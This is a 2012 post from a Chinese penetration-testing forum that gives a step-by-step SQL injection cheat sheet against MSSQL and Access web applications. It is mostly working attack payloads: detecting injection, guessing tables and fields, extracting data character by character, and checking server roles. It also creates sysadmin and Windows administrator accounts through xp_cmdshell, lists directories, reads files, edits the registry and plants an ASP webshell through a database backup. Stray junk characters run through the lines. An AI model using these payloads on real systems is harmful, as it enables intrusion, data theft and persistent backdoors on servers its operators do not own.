中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入
) Z/ I0 b: N* W: N  H# g7 a, v1.判断是否有注入;and 1=1 ;and 1=2
% k5 @7 u. ]; j4 F, E
  F2 n- }7 a% X8 m2.初步判断是否是mssql ;and user>0 / n- V2 ~' n5 n. W  y# w. _

$ [- }* ]0 X3 _  m- c5 K  g3.注入参数是字符'and [查询条件] and ''='
, c. [( [- p3 c7 _) i& ]8 M' q* i! O! h; k: p
4.搜索时没过滤参数的'and [查询条件] and '%25'='
# O9 q9 U3 s& @- |0 Q6 Q! x3 h; o" M" d5 f, [) O
5.判断数据库系统 4 l- A2 d# ?4 ~; z8 T9 N) S
;and (select count(*) from sysobjects)>0 mssql 9 B  g8 A7 ~  w7 G8 [
;and (select count(*) from msysobjects)>0 access " x% o8 q9 w4 a2 V7 y3 W3 |$ U2 W/ {
; g# \, B. y/ F1 r
6.猜数据库 ;and (select Count(*) from [数据库名])>0
* C8 E5 L0 h% \7 u9 X! l! R7 L- C7 [  v; l; Z- w
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 " ?5 ?) [1 K- B1 D$ u+ p: A4 }

! Q3 n( i- e+ o8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ; d; Y& k' O* p
9 Z/ w1 ?8 J, Z8 F( @& ~( f4 ]0 f
9.(1)猜字段的ascii值(access) # S9 J) s5 h5 R! q
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3 M+ A# m9 ^& I/ |2 U* `- a  [
) V- C4 n- [0 H- F
(2)猜字段的ascii值(mssql)
: t8 d" ?7 S# c1 K1 p: Q;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 g2 @0 ]: @/ q1 u8 [% _7 A* i; e, r: I; h  D- J
10.测试权限结构(mssql)
5 g# M: X1 p3 p0 e( I8 P;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 ?' G6 Q. I0 S* i& \;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ W2 |4 T+ v) `, `;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- # Z9 S: O' c. H  W  M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7 ]& U" G! \" Q5 h/ c- `* f$ g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
+ l& V4 l! c- y& y7 w$ V" f9 w, m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 z4 b. H8 n% K" C9 J;and 1=(select IS_MEMBER('db_owner'));-- $ M* c1 ^* [: N& ?( v* Q# @  g

0 b; o, w/ T/ h: k- D% g5 A11.添加mssql和系统的帐户
: j" t1 _9 o" P8 a: t- n+ d;exec master.dbo.sp_addlogin username;--
/ q" g$ e9 }+ L' U) s- X
% A8 Z! W9 l- h+ ];exec master.dbo.sp_password null,username,password;-- . _& g5 Q& U) V3 t! X, @

% U8 G* m+ o2 |' ]' Z;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " S" o" @$ H! d$ _- g5 L5 _
0 f0 c7 E3 L& D- L
;exec master.dbo.xp_cmdshell 'net user username password - @! W2 {  M5 K1 X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4 \. ^- G& X$ _
) x0 J9 A- o0 }# A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( p1 g! K" @) u8 R
- Z% u  v: G& g" A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6 \: ~' i. U, N6 h9 |$ r

0 @+ U" S5 y, I" g& {3 m12.(1)遍历目录
* n3 D, a# ^9 ?+ S% ?0 R, e) G$ X. ]6 [# P# ~
;create table dirs(paths varchar(100), id int) - k8 o4 K! {1 p% ~/ e8 _" S
;insert dirs exec master.dbo.xp_dirtree 'c:\'
- E9 F0 m& C' C# }/ N+ ?;and (select top 1 paths from dirs)>0
& n- [2 V3 h$ w' h' G5 n5 F1 y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) + o! ~6 n  u- Z9 `& H
# P8 ]  S! T# H+ [9 b: E
(2)遍历目录
. a( f$ c3 s: w7 a6 f" \;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ ^1 P0 e' n# }0 W6 R3 j% w% c;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # h; s3 x* C+ ?8 k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% B& a& y4 ?6 v;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
" Z" a  z) U& ^5 {0 [+ l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ) j5 K  v0 {  {5 G: z  R, x$ [9 N

/ s: V! r4 O$ W0 `13.mssql中的存储过程
$ a6 f9 t  a# t/ \, O$ [
1 Z, H0 e( C1 v) u9 Lxp_regenumvalues 注册表根键, 子键
2 z# {- B1 m) Y: R;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ( p8 {( y5 @5 ~/ W0 X
$ h1 Y; A! n, g3 q1 `4 v  E' w& }1 Z
xp_regread 根键,子键,键值名 ) {6 G: J! b! d( Q: [3 {- o  q
;exec xp_regread
0 x0 f# _4 I& b'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 + r9 D. p) ]* o: m* S

+ k+ J) @8 o5 f9 s8 Z& r  ?xp_regwrite 根键,子键, 值名, 值类型, 值 3 D/ {* a+ _+ J1 f5 v7 S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - b8 m, \  N, ~' _  i) S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7 r7 B0 |& ^7 d4 b" X" M
1 M# S8 W6 Y0 V
xp_regdeletevalue 根键,子键,值名 / X% F8 \; t" E! `

- K3 q5 I+ ^* P5 t4 Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 & S' c" k( E9 `( h
5 a% u9 f) `# ^, K" }. G; v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0 S7 h0 f4 Q( h5 `

% V8 o/ l* s4 X% i  i  B14.mssql的backup创建webshell
) e" R: G6 Z2 d1 X& R: p8 }use model
% |: c# A% M9 h* \/ J9 mcreate table cmd(str image); - z/ y. p" U/ H9 F& E+ B/ k- t
insert into cmd(str) values ('');
- }$ d$ w3 \/ S; [* abackup database model to disk='c:\l.asp';
- [0 d, H0 x+ \' R$ F0 O2 J
* ~) Q) \. c: g4 G& \( i. c, b$ H15.mssql内置函数 / ~0 U$ Z' Y" z( h
;and (select @@version)>0 获得Windows的版本号
9 M4 \! U! E8 h( |- [" }: k4 x;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 M/ }+ M$ |3 ?2 j: |: G0 @: Y, E;and (select user_name())>0 爆当前系统的连接用户
9 k2 @7 s5 e6 ?6 [;and (select db_name())>0 得到当前连接的数据库 0 c5 _* P# L, M1 t
! \  U" E; e) _+ o
16.简洁的webshell
/ e0 B( R$ Y& k$ m1 C2 Q2 Q9 I. z
+ S' h7 |9 B+ ]4 H4 v9 luse model - p* ]1 B7 _/ Q/ e8 A
* D5 r$ C! G9 B, A. j0 `3 e, V' N: G
create table cmd(str image);
3 N% Z% F- N$ S) V+ w( I$ y' B- O$ l* ~/ m7 @
insert into cmd(str) values (''); $ a0 x6 r/ `! Z$ l1 l% y

; c" [6 a& a$ f; z7 vbackup database model to disk='g:\wwwtest\l.asp';
, Y& V/ ?1 Z$ z2 `* ~9 O 3 n4 E5 k; `* ?) ?

作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2